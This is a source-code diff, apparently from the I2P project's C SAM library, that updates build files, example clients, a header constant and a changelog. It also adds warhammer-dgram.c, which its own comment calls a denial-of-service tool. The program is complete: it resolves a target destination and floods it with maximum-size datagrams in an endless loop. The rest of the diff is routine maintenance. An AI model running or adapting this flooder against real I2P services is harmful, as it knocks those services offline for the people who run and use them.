diff --git a/apps/sam/c/doc/whatsnew.txt b/apps/sam/c/doc/whatsnew.txt index 5b86737ca0..60fd104cf2 100644 --- a/apps/sam/c/doc/whatsnew.txt +++ b/apps/sam/c/doc/whatsnew.txt @@ -1,4 +1,5 @@ -v1.15 2004-06- +v1.15 2004-06-23 + * Added a new example program, warhammer-dgram (use with caution) * Fixed some fatal bugs in datagram handling * Added another error return type named SAM_TOO_BIG - some functions now return samerr_t instead of bool now diff --git a/apps/sam/c/examples/Makefile b/apps/sam/c/examples/Makefile new file mode 100644 index 0000000000..f061156735 --- /dev/null +++ b/apps/sam/c/examples/Makefile @@ -0,0 +1,42 @@ +# +# This Makefile is compatible with GNU Make +# + +# +# Programs +# + +CC = gcc + +# +# Flags +# + +CFLAGS = -g -O2 -pipe -std=c99 -Wall +CFLAGS += -I../inc -L../lib +LIBS = -lsam + +# +# Build rules +# + +all: dgram-client dgram-server warhammer-dgram + +dgram-client: + $(CC) $(CFLAGS) -o dgram-client.o -c dgram-client.c + $(CC) $(CFLAGS) -o dgram-client dgram-client.o $(LIBS) + +dgram-server: + $(CC) $(CFLAGS) -o dgram-server.o -c dgram-server.c + $(CC) $(CFLAGS) -o dgram-server dgram-server.o $(LIBS) + +warhammer-dgram: + $(CC) $(CFLAGS) -o warhammer-dgram.o -c warhammer-dgram.c + $(CC) $(CFLAGS) -o warhammer-dgram warhammer-dgram.o $(LIBS) + +# +# Cleanup rules +# + +clean: + -rm -f *.o *.exe dgram-client dgram-server warhammer-dgram diff --git a/apps/sam/c/examples/Makefile.mingw b/apps/sam/c/examples/Makefile.mingw new file mode 100644 index 0000000000..ad0fc8eeda --- /dev/null +++ b/apps/sam/c/examples/Makefile.mingw @@ -0,0 +1,42 @@ +# +# This Makefile is compatible with GNU Make and has Winsock linking +# + +# +# Programs +# + +CC = C:\Dev-Cpp\bin\gcc + +# +# Flags +# + +CFLAGS = -g -O2 -pipe -std=c99 -Wall +CFLAGS += -I../inc -L../lib +LIBS = -lsam -lwsock32 + +# +# Build rules +# + +all: dgram-client dgram-server warhammer-dgram + +dgram-client: + $(CC) $(CFLAGS) -o dgram-client.o -c dgram-client.c + $(CC) $(CFLAGS) -o dgram-client dgram-client.o $(LIBS) + +dgram-server: + $(CC) $(CFLAGS) -o dgram-server.o -c dgram-server.c + $(CC) $(CFLAGS) -o dgram-server dgram-server.o $(LIBS) + +warhammer-dgram: + $(CC) $(CFLAGS) -o warhammer-dgram.o -c warhammer-dgram.c + $(CC) $(CFLAGS) -o warhammer-dgram warhammer-dgram.o $(LIBS) + +# +# Cleanup rules +# + +clean: + -rm -f *.o *.exe dgram-client dgram-server warhammer-dgram diff --git a/apps/sam/c/examples/build.bat b/apps/sam/c/examples/build.bat deleted file mode 100644 index c236e99e38..0000000000 --- a/apps/sam/c/examples/build.bat +++ /dev/null @@ -1,8 +0,0 @@ -@echo off - -del dgram-server.o dgram-server.exe -C:\Dev-Cpp\bin\gcc -I../inc -o dgram-server.o -c dgram-server.c -C:\Dev-Cpp\bin\gcc -I../inc -L../lib -o dgram-server.exe dgram-server.o -lsam -lwsock32 -del dgram-client.o dgram-client.exe -C:\Dev-Cpp\bin\gcc -I../inc -o dgram-client.o -c dgram-client.c -C:\Dev-Cpp\bin\gcc -I../inc -L../lib -o dgram-client.exe dgram-client.o -lsam -lwsock32 \ No newline at end of file diff --git a/apps/sam/c/examples/build.sh b/apps/sam/c/examples/build.sh deleted file mode 100644 index 8ee0b9fb7f..0000000000 --- a/apps/sam/c/examples/build.sh +++ /dev/null @@ -1,8 +0,0 @@ -#!/bin/sh - -rm dgram-server.o dgram-server -gcc -I../inc -o dgram-server.o -c dgram-server.c -gcc -I../inc -L../lib -o dgram-server dgram-server.o -lsam -rm dgram-client.o dgram-client -gcc -I../inc -o dgram-client.o -c dgram-client.c -gcc -I../inc -L../lib -o dgram-client dgram-client.o -lsam diff --git a/apps/sam/c/examples/dgram-client.c b/apps/sam/c/examples/dgram-client.c index c2fe6acc0f..deab628b64 100644 --- a/apps/sam/c/examples/dgram-client.c +++ b/apps/sam/c/examples/dgram-client.c @@ -32,6 +32,7 @@ #include #include #include +#include #include "sam.h" static void dgramback(sam_pubkey_t dest, void *data, size_t size); @@ -44,10 +45,14 @@ static void namingback(char *name, sam_pubkey_t pubkey, samerr_t result); * datagrams work. We lookup the name 'dgram-server' then send some data to * him. If everything works, we should get the same data back. */ + +/* + * NOTE!!!!!!!! This is currently broken! + */ + int main(int argc, char* argv[]) { samerr_t rc; - char errstr[SAM_ERRMSG_LEN]; /* Hook up the callback functions */ sam_dgramback = &dgramback; @@ -55,7 +60,7 @@ int main(int argc, char* argv[]) sam_logback = &logback; sam_namingback = &namingback; - /* Connect to the SAM server */ + /* Connect to the SAM server -- you can use either an IP or DNS name */ rc = sam_connect("localhost", 7656, "dgram-client", SAM_DGRAM, 0); if (rc != SAM_OK) { fprintf(stderr, "SAM connection failed: %s\n", sam_strerror(rc)); diff --git a/apps/sam/c/examples/dgram-server.c b/apps/sam/c/examples/dgram-server.c index 8a6ec54afe..0a348fa15c 100644 --- a/apps/sam/c/examples/dgram-server.c +++ b/apps/sam/c/examples/dgram-server.c @@ -47,7 +47,6 @@ static void namingback(char *name, sam_pubkey_t pubkey, samerr_t result); int main(int argc, char* argv[]) { samerr_t rc; - char errstr[SAM_ERRMSG_LEN]; /* Hook up the callback functions */ sam_dgramback = &dgramback; @@ -55,7 +54,7 @@ int main(int argc, char* argv[]) sam_logback = &logback; sam_namingback = &namingback; - /* Connect to the SAM server */ + /* Connect to the SAM server -- you can use either an IP or DNS name */ rc = sam_connect("127.0.0.1", 7656, "dgram-server", SAM_DGRAM, 0); if (rc != SAM_OK) { fprintf(stderr, "SAM connection failed: %s\n", sam_strerror(rc)); diff --git a/apps/sam/c/examples/warhammer-dgram.c b/apps/sam/c/examples/warhammer-dgram.c new file mode 100644 index 0000000000..8dc68e0991 --- /dev/null +++ b/apps/sam/c/examples/warhammer-dgram.c @@ -0,0 +1,123 @@ +/* + * Copyright (c) 2004, Matthew P. Cashdollar + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are + * met: + * + * * Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * * Neither the name of the author nor the names of any contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED + * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A + * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER + * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +/* + * Warhammer-dgram: a simple denial of service tool which uses datagrams, and + * illustrates how LibSAM works. + * Use only with the utmost courtesy. + */ + +#include +#include +#include +#include +#include +#include "sam.h" + +static void dgramback(sam_pubkey_t dest, void *data, size_t size); +static void diedback(void); +static void logback(char *s); +static void namingback(char *name, sam_pubkey_t pubkey, samerr_t result); + +bool gotdest = false; +sam_pubkey_t dest; + +int main(int argc, char* argv[]) +{ + if (argc != 2) { + fprintf(stderr, "Syntax: %s \n", argv[0]); + return 1; + } + + sam_dgramback = &dgramback; + sam_diedback = &diedback; + sam_logback = &logback; + sam_namingback = &namingback; + + /* a tunnel length of 2 is the default - adjust to your preference vv */ + samerr_t rc = sam_connect("localhost", 7656, "TRANSIENT", SAM_DGRAM, 2); + if (rc != SAM_OK) { + fprintf(stderr, "SAM connection failed: %s\n", sam_strerror(rc)); + exit(1); + } + + if (strlen(argv[1]) == 516) { + memcpy(dest, argv[1], SAM_PUBKEY_LEN); + gotdest = true; + } + else + sam_naming_lookup(argv[1]); + + while (!gotdest) + sam_read_buffer(); + + char data[SAM_DGRAM_PAYLOAD_MAX]; + memset(data, '#', SAM_DGRAM_PAYLOAD_MAX); + size_t sentbytes = 0; + while (true) { + rc = sam_dgram_send(dest, data, SAM_DGRAM_PAYLOAD_MAX); + if (rc != SAM_OK) { + fprintf(stderr, "sam_dgram_send() failed: %s\n", sam_strerror(rc)); + return 1; + } + sentbytes += SAM_DGRAM_PAYLOAD_MAX; + printf("Bombs away! (%u kbytes sent so far)\n", sentbytes / 1024); + sam_read_buffer(); + } + + return 0; +} + +static void dgramback(sam_pubkey_t dest, void *data, size_t size) +{ + puts("Received a datagram (ignored)"); + free(data); +} + +static void diedback(void) +{ + fprintf(stderr, "Lost SAM connection!\n"); + exit(1); +} + +static void logback(char *s) +{ + fprintf(stderr, "LibSAM: %s\n", s); +} + +static void namingback(char *name, sam_pubkey_t pubkey, samerr_t result) +{ + if (result != SAM_OK) { + fprintf(stderr, "Naming lookup failed: %s\n", sam_strerror(result)); + exit(1); + } + memcpy(dest, pubkey, SAM_PUBKEY_LEN); + gotdest = true; +} diff --git a/apps/sam/c/inc/sam.h b/apps/sam/c/inc/sam.h index 88af116945..3b1e0e5879 100644 --- a/apps/sam/c/inc/sam.h +++ b/apps/sam/c/inc/sam.h @@ -38,7 +38,7 @@ extern "C" { * Lengths */ #define SAM_CMD_LEN 128 /* the maximum length a SAM command can be */ -#define SAM_DGRAM_PAYLOAD_MAX 31774 /* max size of a single datagram packet */ +#define SAM_DGRAM_PAYLOAD_MAX ((31 * 1024) - 30) /* max size of a single datagram packet (-30 temporary bug fix for SAM) */ #define SAM_ERRMSG_LEN 23 /* the longest message returned from sam_strerror */ #define SAM_LOGMSG_LEN 256 /* the longest log message */ #define SAM_NAME_LEN 256 /* the longest `name' arg for naming lookup callback*/ diff --git a/apps/sam/c/src/sam.c b/apps/sam/c/src/sam.c index 262e86ab17..473f017674 100644 --- a/apps/sam/c/src/sam.c +++ b/apps/sam/c/src/sam.c @@ -99,7 +99,8 @@ bool sam_close(void) * * samhost - SAM host * samport - SAM port - * destname - destination name for this program, or TRANSIENT for a random dest + * destname - destination name for this program, or "TRANSIENT" for a random + * dest * tunneldepth - length of the I2P tunnels created by this program (longer is * more anonymous, but slower) * @@ -713,7 +714,7 @@ void sam_sendq_send(sam_sendq_t *sendq, sam_sid_t stream_id) /* * Sends the second SAM handshake command and checks the reply * - * destname - destination name for this program, or TRANSIENT to create a + * destname - destination name for this program, or "TRANSIENT" to create a * random temporary destination * tunneldepth - length of the I2P tunnels created by this program *